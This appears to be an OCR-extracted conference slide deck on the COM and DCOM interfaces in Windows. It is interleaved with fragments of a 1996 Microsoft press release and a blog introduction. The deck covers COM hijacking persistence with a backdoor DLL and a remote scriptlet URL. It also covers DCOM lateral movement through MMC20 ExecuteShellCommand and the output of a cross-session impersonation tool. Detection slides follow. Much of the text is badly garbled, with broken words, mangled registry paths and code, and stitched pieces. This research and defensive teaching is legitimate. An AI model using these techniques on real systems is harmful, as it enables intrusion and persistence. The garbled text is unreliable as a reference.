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Microsoft Releases Beta Version of DCOM
for Windows 95

Object Architecture .

» = T ~ . REDMOND, Wash., Sept. 18, 1996 — This week, Microsoft Corp. made available the beta

[]Eﬂ]] ng “]th the I‘" 11]1[10“ n version of Distributed Component Object Model (DCOM) for the Windows® 95 operating
- Or - : : iy ot ActiveX

DCON

Last Revision: December 1988 REDMOND, Wash., Sept. 18, 1996 -

DCOM is simply
"COM with a longer wire,”
an object protocol that enables ActiveX components to communicate directly with each

other across a network. DCOM is language-neutral, so any language, including Java

™

, that produces ActiveX components can also produce DCOM applications. DCOM will be
available on UNIX and other operating systems through Software AG and Digital Equipment

Corp., and through an open standards process that is under way.

é‘:%é; DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape 4



DISSECTING DCOM PART 1

Written by n Tellier - 15/09/2025 - jn Pentest - D

This is the first article on the "Dissecting Dcam” series. This article aims at giving an intraduction 1o the base principles of
COM and DCOM protocols as well as a detailed nefwork analysis of DCOM.

No previous knowledge is required. The following articles will dig into the authorizati and ent ion mechanisms on

COM/DCOM. This articles Series aims fo regroup known knowledge about DCOM in order to allow one o have the necessary
tools for vulnerability research on DCoMm.

LOOKING TO IMPROVE YOUR SKILLS? DISCOVER OUR TRAININGS SESSIONS! L

COM and DCOM are concepts that appear in various tontexts, ranging from privilege escalation technigues in Windows to industrial
protocals like OPC. Aj ugh fundamental to Windows, COM remains an ohscure and enigmatic technology for many. Deeply

embedded in Windows and seamlessly integrated into the system, it regularly plays a role in comman operations.

When | began this research, my knowledge of COM and DCOM was fairly minimal. White Microsoft does provide documentation,

crucial defails—such as the iniernal workings of object activation—remained unclear or in mplete,

This article aims to provide a solid foundation on COM and DCOM hefore delving intg the subfleties of the activation process, Qur

goalis fo demystify the mechanisms that enable methad calls across remote machines.

But before that, let's fake a brief historical step back to understand how this technolagy has evaolved,

techniques in the Tuture. - " Combined witp, 1y
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“Demystify (D)COM and illustrate how this component

can be used in every stages of a cyber kill chain”
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TAD002 TAO0003 TADOO4 TAD0D5 TADOOS
Execution Persistence Privilege Escalation Defense Evasion Lateral Movement

4 technigues 3 techniques 5 technigues 11 techniques 1 techniques

T1059 T1574 T1548 T1548 T1021
Command and Scripting Interpreter Hijack Execution Flow -1bu..—.E Elevation Control Abuse Elevation Control Mechanism Remote Services

T1112
T1559 Modify Registry 34 T1134
Inter-Process Communication Access i Access Token Manipulation
T1053
T1053 Scheduled Task/Job 574 T1211
Scheduled Task/Job ijack Executi Expleitation for Defense Evasion
T1047 5 T1222
Windows Management OCESS i File and Directory Permissions
Instrumentation Modification

Schéduled Task/Job T1574
Hijack Execution Flow

T1656
Impersonation

T1070
Indicator Removal

T1202
Indirect Command Execution

U
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Component Object Model
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Hi! I would like to list Windows Easy, | expose everything you
firewall rules. How do | do that? need through COM interfaces!

i%iﬂ DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape



HMet l:fg FwPaolic 'j.':.-'_"
E2B3CS7F-6AE1-41AC-817A-FEFI2166D70D

CmdLine;

Treatfs:

Threading Model: |Both
ProglDs:
HMetCf d. Fw Polic Y 2

e,
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Interf

Mame

|Dispatch
|Net Fw Policy 2
|Linknown

RS

4sZ DCOM Turns 30:

\efresh

1D Methods VTable Offset

My AN RN nnnn_l-nnn nnnnnnnnnn.ln

9332504 7L6/71-41/4-8D81-DEFCD3F03186 3 Firewall AP | dil+{kx3

MR rnrnn nnnn_l-nnn nnnnnnnnnn.ll_'

Revisiting a Legacy Interface in the Modern Threatscape
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group, bool enakle) s
ring group) ;

bool FirewallEnabled (NET FW PROFILE TYPEZ profileType

bool BlockAllInboundTraffie (NET FW PROFILE TYPEZ prﬂfil:T'$E|

bool HotificationsDisabled (NET FW PROFILE TYPEZ profileType) . :
bool UnicastResponse sTﬂHultlcimtEIGidﬂimtDlmitluleET FW_ERDFILE_T EE
INetFwRules Rules 0 HE
INetFwServiceRestriction ServiceRestriction { get:;

HET FW ACTICN DefanltlnboundAction (NET FW PROFILE TYPEZ profileType)
HET FW ACTION DefaunltOuntboundhAction (NET FW PROFILE TY FEE_ profileType)
ruu_ I=zsEnleGroupCurrentlyEnabled (string group) r o}

NET FW MODIFY STATE LocalPolicyModifySta
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And how is all this
stored in Windows?

Like everything else...
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B Registry Editor

File Edit View Favorites Help
l_l_lrnputv.-.-r-H} EY_CLASSES_ROOMCLSIDNEZB3CYTF-RAET-41AC-817A-FEFS21660 7DD {¥inprocserver3d
P -4A34-B23D-56F0AFTD450E]} Mame
8-44f0-BEEE-D36EA4CEERSL}
AC32-4DFE-BATA-61458E559320}
3 5040- 11[1:' 960E- |||"u'|"|4F IEE628}

CAWindows\System32\Firewal |AP1.dII

DEC FDE- BADA-46F9-9452 IlE'I l._'IJ-.E*ﬁ'-.Edfr‘-
E5A310-EC ED aJ-J-lF D7-ACC

Q‘p.CK.( 2
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| have everything | need!

QpCK.l 2
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vold EnableRuleGroup (int Llnfll:TJmuhdl y String group, bool enakble);
bool IsBuleGronpEnabled (int profileType mask, string group):

vold RestorelocalFirewallDefanlts()

=CL E?clududlnturficuqlﬂET FW_PRUFILE TYPEZ prorfilelype)

bool BlockAllTnboundTraffic (HET FW_ERCFILE_T’PEE_ profileType)

bool HotificationsDisabled (NET FW PROFILE TYPEZ Llnfll:T1$E|
ool TUnicastResponse sTﬂMultlcimtEIGidﬂimtDlmitludlUET
ITHNetFwRules Rules { ¢ o]

INetFwServiceRestriction ServiceRestriction { get:;

HET FW ACTICHN DefanltlnboundAction (NET FW PROFILE TYPEZ profileType)
HET FW ACTION DefaunltOuntboundhAction (NET FW PROFILE TY FEE_ profileType)

ruu_ I=zsBnleGroupCurrentlyEnabled (string group) { O
HET FW MODIFY STATE LocalPolicyModifyState
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—-lint main() {

HRESULT hr = CoInitializeEx(®, COINIT_APARTMENTTHREADED);

( ) clsid;
hr = CLSIDFromProgID(L"HNetCfg.FwPolicy2", &clsid);

INetFwPolicy2* pNetFwPolicy2 = nullptr;

hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pNetFwPolicy2):

if (SUCCEEDED(hr) && firewallEnabled == VARIANT_TRUE) {
std: :wcout << L"Firewall is enabled for public profile, you're safe!" << std::endl;
} else {

std: :wcout << L"Firewall is disabled for public profile, you'd better check your config!"

}

DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape
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N Windows PowerShell

PS C:\> .\Firewal ICheck.exe
Firewall 1s disabled for public profile, wou'd better check your config!

IPS C:\>

Defender Firewall

@ ntrol Pa

Defender Firewall can help prevent hackers or malici
gh the Internet or a ne k.

Update your Firewall settings

ch as airpo

efender Firewall state:

ing connections:

RS
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8=| FirewallCheck.exe (9820) Properties

General Statistics Performance
Options

Mame
FirewallCheck.exe
apphelp.dil
FirewallAPT.dll
MM .32,
kernel32.dll
ntdll.dll
uxtheme.dll

Threads Token Modules

Base address
0x7H7fcOB80000
O FAR005F0000
Dy 7RO 2000000

O Srad 5os0000

Dx 7204000000

Memory

600 kB
138 kB
776 kB
1.97 MB
632 kB

Environment Handles GPU Disk

Description

Application Compatibility Client Library
Windows Defender Firewall API
MultUser Windows IMM32 API Client DLL
Windows NT BASE API Client DLL

MT Layer DLL

Microsoft UxTheme Library
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HKCR“HMNetCfg.FwPolicy 2ACLSID
HEKCR® H”l-'tl fl FwPo ||||_"._ O LSO ['I"f:IUl't'

170D InprocServer3?
170D InprocServer32yDefault)

RS
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Can | use your
interface too?
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Visual Basic

=
n
18]
(an]
©
=
e
>

NET

Component Provider

Component Consumer

Revisiting a Legacy Interface in the Modern Threatscape
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COM for Initial Access
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phishing

—
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>WScript.Shell - Command Execution
>Scripting.FileSystemObject - File Management
>MSXML2 . XMLHTTP - File Download
>Wscript.Shell - Registry Key Management

>Schedule.Service - Scheduled Tasks Management
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> JScript / VBScript
> VBA
> PowerShell

> efc...

i%iﬁ DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape
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> LNK + mshta.exe + VBScript =

Standard 5

& Onelrive

8 legitpdf |,
3 This PC A

oF Metwork

é‘Z{g}é DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape

27



Threat Intelligence

b4bit - Hunting COM Objects
CLSID Count 7935 sune 4,

InProcServer CLSID Court
Mandiant

LocalServer CLSID Count

|r| FI roc H dll |:| | = I: L E' | D I: ot ! Written by: Charles Hamilton

ApplD Count

Q‘p.CK.(
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COM-Based Persistence
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s Name Cperation Path
1= Ij RegOpenKey HKCR“HMNetCfg. Fw Policy "'_r:'L:;I['l
= Ij: RegQuernyValue HKCRWHMetCig. FwPolicy2CLSIDDefault)
e [ RegOpenKey HKCRWCLSIDW{EZBICS7F-BAET-41AC-817A-F6

FirewallCheck ex
FirewallCheck ex
k e

70D InprocServerd?
70D InprocServer32(Default)

FirewallChec
FirewallCheck e
FirewallCheck e

FS2166D07
T RegQueryValue HKCR\CLSIDWEZBICTTF-BAE1-41AC-8174-FEF32166D7
f-."lel:l-Eld Image CA\Windows\System 32 Firewall AP 1 dIl

RS
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Process Name 0 |:u=-ratin n

FirewallCheck exef £ (CLUNS0 lﬁ'r-. areClasses \HNetCfg. FwPolicy 2\CLSID
FirewallCh =1

FirewallChec

FirewallChec

FirewallCh

FirewallCheck exe |} _

FirewallCheck exe ' o |rr|-:|g|: ::"'-.‘-"a'iru:ln:n'r'-.'s'-.':ifr'r:aternEE"-.FirE'r'caII.-ﬂ.F'I.|:|II

RS
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Process Name I"'I|:u=ratinr| Path Result

FirewallCheck exe [ HEC L Software \Classe l NA f"1E HI IT FOLND
FirewallCh e [ RegOpe ’.:. HECR“HNetCfg.FwPolic ) 3
FirewallCheck exe_ [ Bealuen'/alue LB HMetCfg FywPolic

FirewallCheck exef (£ RegOpenkey WCLNSaftware ' Class LSIDN 'E..E-FEE!"F—F#-E1-41 AC-817A-FEF521660 7DD M InprocServerdZ

FirewallC xe [ hegUpenhey PAES ok [ 1A Ul Inprocoenverss

FirewallCheck exe [ B=gChant/ CRLCL S C --"'DD}"-.Irllilrl:u::EiE:r'-.a'ErE-E"-.[DEfauft}
FirewallChec
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B Registry Editor
File Edit  View Favorites

Mame e Data

ab| (Default) \EG_57 {walue not set)

Nl

i

I
FJ-:lE“r 0}

D1E'ﬁ 4A96-ACBF-5

Q‘p.CK.(
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B Registry Editor

File Edit WYiew Favorites Help
HKEY_CURRENT_USER\SOFTWARE [ lasses\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD ] InProcServer32

v | CLAID || MName Type Data
1018D5C66-4533-4307-9853-224DE2ED 1 FEG} m
1031E4825-TB04-4dc3-B131-EQ46B44C8DD5) e ——— s
104271989-C4D2-C066-65AD-AESE2BTCA9EF) -
10dbTe03-fc29-4dc6-0020-Ff41b58e512a)

{1649E866-5873-4280-82F0-C726ET0BF299]

{24ad3ad4-a369-4530-98e1-ab02f341 7aal}
FAAFAFI0A-Aher-Afhd 21 A1 -Aa 2430 h-fdd =]

ab| (Default) REG 57 CABackdoor\FirewallAPI.dl

A BT R, Pl LA, J i B bl o Va1 b e, o e L o Rl i)
{79F053C14-E714-4C12-9924-93C312804CB0)
181093063-7825-417B-BFCE-ADCE3RA4ES3D]
{C28B3957-621C-415B-2EE5-BERAFCTEFS24}
1d3162b92-9365-467a-956b-927053acaldaf}
{E3D5TETT-FET1-4006-B034-D43320074%09}
1E938995E-B6FE-4E69-AAAA-BABBESESADTE]
{EA43DCTD-D1BE-4A98-ACEBF-3081BDC48642]
{FESTIEAC-CO70-4329-8FBO-CB574A353CC3])

{E2B3CSTF-RART-HAC-217A-FEFS2166070D0}
InProcServerd2

RS
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+ | Backdoor

“ Home Share

« « 4 s ThisPC >

& Onelrive
A This PC

¥ Network

BKe,, R P
&g’ DCOM Turns 30: Revisiting

Local Disk (C:) » Backdoor

Mame B Date modified

FirewallAP1.dll 0&,/03/2025 1501 Application exten...

a Legacy Interface in the Modern Threatscape
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PS C:%\> _\Firewal lICheck.exe

Backdoor

'20} Successful COM Hijack!
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Process Name Operation Path Result

I:t RegOpenkey Hl‘f.|:|_|"-.':': = '."-.3_3- r'r'_.r"'-. C wPalicy2\CLSID H f"'lE MC IT FOLIND
i RegOpenkey  HKCR: C 2
1 BegQueryValue HKC
(- RegUpenkey WLl : 'I““—FFF':i':'IEED—'DDT Ir||:-r|:u: L-Hr'wrh._
FH RegQuenyValue \
Lh RegUpeniey H R L AELE AL TR Ao T/ A-FeFILTesl) FUD A Inprocoerver3s
':I".. r

o -~ A f _ e R B 1 1 s ' i~ r w - s s = _
I"II (N[= 'l N[~ e I h L _—oh | ) - 1 # au] IR L ||||:I-IH e

oad Image E- l'l:| arFirewall AP dIl

FirewallCheck
FirewallChec
FirewallChec
FirewallC |'||:'l_
FirewallChec
FirewallChec
FirewallC |'|l:'l_
FirewallChec

X

|'[| |'[| |'[| ;_'[I

|_'[| i |_'[| |_'[| ] l_'[l I.'[I i

LB

s

|'[| |'[| |'[| |'[|
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(

Your PC ran into a problem and needs to restart.

>Preserve the original DLL features = DLL proxy

>Limit calls to the targeted process = Mutex



> Builtin components

1. Run regularly s Office suite

2. Remain open for the whole session > Browsers
3. Communicate with the Internet > VPN clients
> EDRs

i%iﬁ DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape
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Advanced COM Hijack



Process Mame Path

HECUSe

Operation
B- FirewalCheck exe [E RegOpenKey

Result

B- FirewallCheck exe

Process Mame

B- FirewallCheck ex
B- FirewallCheck ex

Operation

I—:I' ReglpenKey
i RegOpenKey

' RegOpenkey

HKCR®

Path

<\CLSIDVE2B3
F F'F AET-41AC

DOOOFEEDACDC]

H AM E NOT FOUND

TA-FEF92166070D \ TreatAs
7DD TreatAs

>eriptletURL

Uata

hittps:/ fraw.githubusercontent.com/apileradle/LOLBASS

esult

MAME NOT FOLUND
NMAME NOT FOUND

miaster/O55cripts/Pavload/Simgr_cale.sct

P Explorer EXE 2612 RegOpenKey  HKCU\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAEOB]\1.1 NAME NOT FOUND
B Explorer. EXE 2612 [f}] RegEnumKey  HKCR\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C0SBAEOB}\1.1 SUCCESS
B Explorer EXE 2612 ff] RegQueryKey ~ HKCR\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000COSBAEOB}\1.1 SUCCESS
B Explorer EXE 2612 [f] RegQueryKey  HKCR\TypeLib\(EAB22AC0-30C1-11CF-A7EB-0000COSBAEOB\1.1 SUCCESS

%%% DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape
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PS5 C:%»> schtasks /Jquery fXML /TN
<?uml version="1.8" encoding="UTF-16"2>
<Task wversion="1.6" xmlns="http://schemas.microsoft.com/windows,/2884,/82, / mit/task">
¢RegistrationInfo>
¢SecurityDescriptor>D:P(A; ;FRFX; ;:AUYCA; s FA; 1 :5Y )< /SecurityDescriptors
{URI>\Microsoft'\Windows\BitLocker\BitLocker Encrypt All Drives</URI:
<fRegistrationInfoz
<Principals:
) ¢Principal id="Users"»
> D 0 n t St 0 p at t h e <GroupId>S-1-5-4</GroupId>
</Principal>
</Principals>

- I ¢Settings>
re g I S ry = <DisallowstartIfOnBatteries»false</DisallowstartIfOnBatteries:

<StopIfGoingdnBatteries>false</StoplfGoingdnBatteriess
¢MultipleInstancesPolicy>IgnoreNews/MultiplelnstancesPolicy>
<RunOnlyIfietworkAvailable>true</RuninlyIfletworkAvailables
¢IdleSettings>
{StopOnlIdleEnd>trued/StopOnldleEnd>
{RestartOnldle>false</RestartOnldle:
</IdleSettingss
¢UselnifiedschedulingEnginertrue</UselUnifiedSchedulingEngines:
«fSettings>
«Triggers>
tWnfstateChangeTriggers
<{StateName>7568BCA32B188341< /StateNams
</HWnfstateChangeTriggers
</Triggerss

4

<ComHandler:
<ClassId>{61BCD1ES-3468C-48EC-9041-D7F1C8632FA5 </ ClassId>
¢Data><! [(DATA[BitLockerEncryptAllDrives]]></Data>
</ComHandler:>

IR L e
L

</ Task>

RS
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> Don't stop at .exe and .dll files!

IIE

IIE

IIC

IIC

\Windows\System32\bdaplgin.ax"
\Windows\System32\bthprops.cpl"

:\Windows\System32\dmview.ocx"
"C:
"C:

\Windows\System32\hhctrl.ocx"
\Windows\system32\intl.cpl"

:\Windows\System32\ksproxy.ax"
"C:
"C:

\Windows\System32\kstvtune.ax"
\Windows\System32\kswdmcap.ax"

:\Windows\System32\ksxbar.ax"
"C:
"C:

\Windows\System32\Mpeg2Data.ax"
\Windows\System32\mpg2splt.ax"

> cat comClass.csv | cut -d ',' -f 3 | grep 'C:' | grep -v -1 '\.dll\|\.exe' | sort -uf
:\Windows\System32\appwiz.cpl"
"C:
"C:

th!f.‘o . . .
YsZ DCOM Turns 30: Revisiting a Legacy

Interface in the Modern Threatscape
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DCOM-Based Latexral Movement



—

Code Execution
Capability

Admin Rights

i%iﬁ DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape
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> DCOM = extension enabling COM to be used between two

computers in a “transparent” way

> Uses DCE/RPC protocol (TCP/135)

i%iﬁ DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape
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> AppID = identifier for a group of COM classes

> Associated with a set of configurations (e.g., activation rights)
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B Registry Editor
File Edit Wiew

Computer’

ab| (Default) tEC HMetCfg. FwPolicy2
ab| ApplD
anel.dll -12122

Inprocserver32
PraglD
B71183

f

U
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COSERVERINFO serverInfo

= {0 };

serverInfo.pwszName = (LPWSTR)remoteComputerName;

MULTI_QI mgi = { © };

mgi.pIID = &_ _uuidof(INetFwPolicy2);

mgi.pItf = nullptr;
mgi.hr = 0;

[ | [

CLSCTX_REMOTE_SERVER

&serverlnfo,
1,
&mqi

WK PR —
4sZ DCOM Turns 30: Revisiting a Legacy Interface

1n the Modern Threatscape
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EXN Administrator: Windows PowerShell

PS C:\> .\RemoteFirewal ICheck.exe DCOl.COMPANY.LOCAL A
Firewall is disabled for public profile, you'd better check your config!

é‘Z{g}é DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape
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@ Registry Editor

File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Class 5 C24DD5-D70A-433B-8A, 1B33AFBES}

{72B66649-3DBF-429F-BDEF-T lan Vpe Data
{72BFEB11-2681-490D-874B-652FC 1D"HED:1] -
{72C24DD5-D70A-438B-8A42-98424B88AFBE)

Implemented Categories

Windows Script Host Shell Object

InProcServer32
ProglD
Programmable
TypeLib
VersionIndependentProglD
{72c57034-02cd-4e5f - bfOc-ca711031757e]
-B77D-£ E-['IE- EE-.:-FuFE.

(72d3edc2-adcd-11d0
[720633FF-401E-4AB4-BFE0- 14 EAES074A0T)

_.j:hﬁ'lr_-ll- 1672-4303-9175-f2edcbBblerc)

73124080 -FATA-1141-B1FD-N00NFATSS7NRY

Q‘;CK.( 2
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> COM class with an ApplD
> Method with interesting keywords (e.g., exec)

> Hope for the best?

i%iﬁ DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape
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COM

PS C:\> .\SearchExecDCOM.psl

Class: {0002DF01-0000-0000-Cc000-000000000046} InternetExplorer.Application.1l
Application.ExecwB()
Parent.ExecwB()

Class: {49B2791A-B1AE-4C90-9B8E-E860BA07F889} MMC20.Application.1
Document.ActiveView. ExecuteScopeNodeMenuItem()
Document.ActiveView.ExecuteSelectionMenuItem()
Document.ActiveView.ExecuteShel lCommand()
pocument.V1ews.ktXxecutescopeNodemenultem()
Document.Views.ExecuteSelectionMenuItem()
Document.Views.ExecuteShellcommand()
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PS C:\> whoami
company\jdoe.adm

PS C:\> $com [Cwetem Artivatnr]l::CreateTnetancel [Tunel  GeatTuneFromil ST
PS C:\> $com Document.ActiveView.ExecuteShellCommand ( snull,snutLl J
PS C:\> |

1 Task Manager . @ Domain networks Not connected

File Options View _
Metworks at a workplace that are attached to a domain

Processes Performance Users Details Sepvices
Windows Defender Firewall state: Off

MName PID status User name Inceming connections: Elock all connections to apps that are not on the list

I ) i of allowed apps
= wims.exe 2060 Running SYSTEM ed app

5=l winlogon.exe 540 Running SYSTEM Active domain networks: Mone

Motification state: Do not notify me when Windows Defender Firey
. i i blocks a new app
_| win3dcalc.exe 3800 Running jdoe.adm o ew app

e

P
3
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impacket s / dcomexec.py (&

gabrielg5 Tec

Code Blame

AFD90-F2A1-11D1-8455-00ABC91F. Tested Windows

hcl
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> Search other keywords
> Search other execution techniques (e.g, Office macro)

> Reverse undocumented COM objects

= See: references on slide 80
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COM-Based Impexrsonation

NN \gii



PS C:\> qwinsta /server:SRVO1.COMPANY.LOCAL
SESSIONNAME USERNAME ID
services 0
console 1
rdp—tcp#0 jdoe.adm 2

1 Session #2 (RDP)

>
Impersonation

COMPANY\jdoe.adm

o

Command Execution in Session #2
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fffgcecﬁﬂae—ﬂ?a1—11d9-b1ﬁe-ﬂﬂn.] v X

CL5ID  Supported Interf ApplD Type Library

Mone

Launch Pemmnission:

Wiew

RS
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3 ritec =

Snll.company.locah\HKEY_LOCAL_MACHINE\ B FTWARE Classes\ CLSID

CL3ID | Name Data
10000002F-0000-0000-C000-000000000046} ab] (Default) (value not set)

{00000300-0000-0000- COD0-000000D0004E}
{00000301-ASF2-4877-BADA-FD2BE645FB94]

{D0D00303-0000-D000- CODD-0D0DDDDDN0E}

1D0D00204-000D-D000- CODD-0D0DDDDDN0E}

100000305-0000-0000- COD0-000000D0004E}

{D0000306-0000-0000- CODD-000DD0DD04E} :
{D0D00303-000D-0000- CODD-0D0DDDDDN04E} =
{00000303-0000-0000-C000-D00000D00046) B o shoe view

10000030B-D000-0000- COD0-0000000D00AE]

{00003 15-0000-0000- CODD-000DD0DDD04E} €« v 1‘

{00003 16-000D-D000- CODD-0D0DDDDDNDE} -

{00000319-0000-0000-CO00-000D0000004E}] - Name Date modified Type
£000002 1 A-0000-0000-CO0D-0D000D0DD004E) # Quick access

{00003 10-D000-0D00-COD-DODODDDDDIE}
1D0D00220-0000-D000- CODD-DD0DDDDONDE}
{0DDO0327-000D-0000-C000-DDDDO000046} =% Network Program Files 1/1/2025 2:34 AM File folder
{00003 2E-000D-0000- CODD-000DD0DD04E} Program Files (x86) 5/8/2021 9:40 Al File folder
{D0D00355-0000-D000- CODD-0D0DDDDDNDE} Shared 5/31/2 3 AN File folder
100D00507-0000-0010-2000-DDAADDEDZEAL] Symbols - 13/2025 3:08 PM File folder
100000S0B-0000-0010-3000-D0AAD0GD2EAA}
{00005 14-0000-0010-8000-00AADDED2EAL]

el ¥

inetpub 1/1/20 30 Al File folder
3 This PC Perflogs 5/8/2021 . File folder

Users 5/3/2025 113 PM File folder

Windows 5/31/2 19 Al File folder

DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape




1. Can be launched remotely
2. Runs as the interactive user

3. Exists on the targeted Windows version

(Any CLSID could be made vulnerable by modifying the registry)
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# COMThanasia Fublic ® watch 3 -

¥ main - ¥ 1Branch 0 Tags Q, to file Add file ~ -

&, MzHmO uUpdate README.md 90 r ¥1) 28 commits

ClsidExplorer

CombDiver

ComTraveller

MonikerHound

PermissionHunter/PermissionHunter
[ .gitignore

[ README.md

U

&,ﬂ% DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape

<
% =~ &
2 o
‘4'_ o,



O OleView NET 1,11 - 64bit O

File Registry Object Security Processes 5Storage Help

" 06c7928-6212-4f39-bf70-e8c... | - X

CLSID  Supported Inted ApplD Servers

C\Windows \System 32 UserAccountControl Settings.

DK,
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PS C:\> .\ImpersonateDCOM.exe /server:SRVO1l.COMPANY.LOCAL /session:2

[*]
[*]

[+]
[+]
[+]

Target CLSID: 06C792F8-6212-U4F39-BF70-E8COAC965C23
Target DLL: UserAccountControlSettings.dll

Copied hijack DLL to \\SRVO1l.COMPANY.LOCAL\C$\Windows\Temp\UserAccountControlSettings.dll

Started remote registry service
Granted key ownership to NT AUTHORITY\SYSTEM

[+] Registry key value now points to our hijack DLL
[+] CoCreateInstance success! PS C:\» Get-Process -IncludeUserName -Name "win32calc” |
[+] Cleaning everything..

Processhame Id Userhame Sessionld

win32calc 3268 COMPANY‘\jdoe.adm 2
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https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove
https://github.com/rtecCyberSec/BitlockMove

Application's Directory

C:\Windows\System32

C:\Windows\System

C:\Windows

Current Directory

Directories Listed in PATH Variable

NCK¢
5

4
N

NS

=
% 3

“n
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WCLSIDA{DOF2b433-44ed-4d88-b2b0-2698a0a%1 dba}\LocalServer32

MName
ab| (Default)

ab| ServerExecutable

*EkL RR—
42z DCOM Turns 30: Revisiting a

Type
REG_EXPAMD 57
REG_EXPAMD 57

CLSID
Name:
ApplD:
Run As:

Lervice:

[ ]
3
Ly

[ ]
3
Ly

]
—
=y

|;[| E[:

R ]
s |
1
=5
my

=)

Cli
—+

M M b O O D
M M MO O O D

41}
Cli

—+
Ly

ApplD  Type Library

00F2B433-44E4-4D23-B2B0-2651

“\Program Files‘\\Windows Photo Vi
“\Program Files'\Windows Photo Vi
“\Program Files'\Windows Photo Vi \
“\Program Files'"Windows Photo Viewer\ \WINMM dll
“Program Files'\Windows Photo Viewer dwmapi dll

gAa0A

o

YProgramFiles%;

= Windows Photo Viewer\Photolfic

MNA r-.-1 E NOT FOLUND
MAME MOT FOLUND
MAME MOT FOLUND
MAME NOT FOLUND
MAME MOT FOLIND

Legacy Interface in the Modern Threatscape
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[0 README

DCOMRuUNAS

DCOMRunAs instantiates COM objects in the session of a logged-on user on a remote machine. By targeting a
COM object subject to DLL hijacking and dropping a custom DLL at that path, the payload DLL will be loaded in

the context of the logged-on remote user.

Note: This project is a proof-of-concept, and has not been extensively tested.

Context & theory

Initially an internal PoC developped last year, it is released following the publication of BitlockMove by
@S3cur3Th1sSh1t, his TROOPERS slides are a good overview of the general idea (looking forward to the
recording and blogpast !).

Since the technique is now public, we decided to publish the tool as-is, even though it's not as thouroughly
tested as we'd like, so obviously use at your own risk, and feel free to flag any issue in the repository tracker.

The original idea (on our side) came from playing with James Forshaw's ol dotnet and noticing the
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> Unexpected CLSID manipulation in registry

> Loading DLLs outside Program Files and System32
> Loading unsigned DLLs

> List of known abused CLSID

> Uncommon network interactions
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Network Defender Archeology
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Network Defender Archeology: An NSM Case Study in Lateral Movement with DCOM
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FalconFriday — DCOM & SCM
Lateral Movement — OxFFO5

‘13’ Henri Hambartsumyan | Follow ) 5minread - Oct 23,2020

This FalconFriday is focused on lateral movement. Especially lateral movement
through DCOM, a technique used by many red teams. This post is inspired by the

recent post on DCOM by Dominic Chell over at MDSec.
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Stopping Lateral Movement via the RPC Firewall!
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Burning Bridges - Stopping Lateral Movement via the RPC Firewall
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> Restrict access to COM?
> AppLocker policy
> EDR
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Closing Notes
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Even if a mechanism is 30 years old, there are
always new things to look for ..

.. but security measures from 30 years ago are still
relevant today!

i%iﬁ DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape

76



> Privilege Escalation Vectors (a.k.a Potato Exploits)
> UAC Bypass
> Authentication Coerce

> Vulnerability Research

= See: references section starting slide 80
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>0range Cyberdefense (@OrangeCyberdef)

> Claire VACHEROT (@non_curat_lex)
Jean-Pascal THOMAS (@vikingfr)

>hack.lu (@hack_lu)
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@d3lb3_
https://d3lb3.github.io


https://tinyurl.com/hackludcom
https://tinyurl.com/hackludcom
https://tinyurl.com/hackludcom
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Antonio Cocomazzi Matt Nelson

@splinter_code @enigmalx3

RED TEANER AND SECURITY ADDICT

< splinter_code blog

<< BYPASSING APPLICATION WHITELISTING BY USING RCSI.EXE LATERAL MOVEMENT YIA DCOM: ROUND 2 >>

LATERAL MOVEMENT USING THE MMC20.APPLICATION COM OBJECT

January 5, 2017 by enigma0x3 For those of you who conduct or red team you are probably aware that

there are only so many ways to pivot, or conduct lateral movement to a Windows system. Some
(White ) of those techniques include psexec, WMI, at, Scheduled Tasks, and WinRM (if enabled). Since
there are only a handful of techniques, more mature defenders are likely able to prepare for and
detect attackers using them. Due to this, | set out to find an alternate way of pivoting to a remote
system.

Recently, | have been digging into COM (Component Object Model) internals. My interest in

ing new lateral i led me to DCOM (Distributed Component Object
Model), due to the ability to interact with the objects over the network. Microsoft has some good
documentation on DCOM here and on COM here. You can find a solid list of DCOM applications
using PowerShell, by running “Get-CimInstance Win32 DCOMApplication™




General Knowledge About COM

> Official Documentation - Microsoft

https://learn.microsoft.com/en-us/windows/win32/com/com-technical-overview

> Demystifying Windows Component Object Model - @0OxShukruN

https://www.221bluestreet.com/offensive-security/windows-components-object-model/demystifying-windows-

component-object-model-com

> Playing around COM objects - Mohamed FAKROUD

https://mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/playing-around-com-objects-part-1

KRS
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COM Hijack

> COM Hijacking - @0xShukruN

https://www.221bluestreet.com/offensive-security/windows-components-object-model/com-hijacking-t1546.015

> COM Hijacking Techniques (Derbycon 2019) - @kafkaesqu3
https://fr.slideshare.net/slideshow/com-hijacking-techniques-derbycon-2019/169871173#2

> Revisiting COM Hijacking - Antero Guy

https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
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Lateral Movement Techniques #1

> MMC20.Application - Document.ActiveView.ExecuteShellCommand (@enigma0x3, 2017)

https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object

> ShellWindows + ShellBrowserWindow - Document.Application.ShellExecute (@enigma0x3, 2017)

